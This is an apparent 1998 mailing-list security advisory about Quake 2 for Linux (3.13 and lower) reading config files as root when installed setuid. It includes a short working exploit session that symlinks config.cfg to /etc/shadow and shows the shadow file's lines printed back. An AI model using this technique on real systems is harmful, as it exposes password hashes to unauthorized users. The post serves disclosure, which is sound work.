Quake 2 Linux 3.13 (and lower) allow users to read arbitrary files
X-RDate: Thu, 26 Feb 1998 14:23:59 +0500 (ESK)
Date: Wed, 25 Feb 1998 05:49:58 -0500
From: [email protected]
To: [email protected]
Subject: Quake 2 Linux 3.13 (and lower) allow users to read arbitrary files
Vulnerable:
Everyone who followed the installation instructions and made Quake2 setuid
root.
Exploit:
Quake2 reads its conf files (and .pak files) before giving up root,
and it doesn't check the permissions before hand.
nop@chrome:~> id
uid=501(nop) gid=100(users) groups=100(users)
nop@chrome:~> mkdir baseq2
nop@chrome:~> ln -s /etc/shadow baseq2/config.cfg
nop@chrome:~> ls -l /usr/games/quake/quake2
-rws--x--x 1 root root 303444 Feb 24 19:07
/usr/games/quake/quake2
nop@chrome:~> /usr/games/quake/quake2
couldn't exec default.cfg
execing config.cfg
Unknown command "root:[snip]:10137:0:99999:7:::"
Unknown command "bin:*:9977:0:99999:7:::"
Unknown command "daemon:*:9977:0:99999:7:::"
Unknown command "adm:*:9977:0:99999:7:::"
Unknown command "lp:*:9977:0:99999:7:::"
[etc]
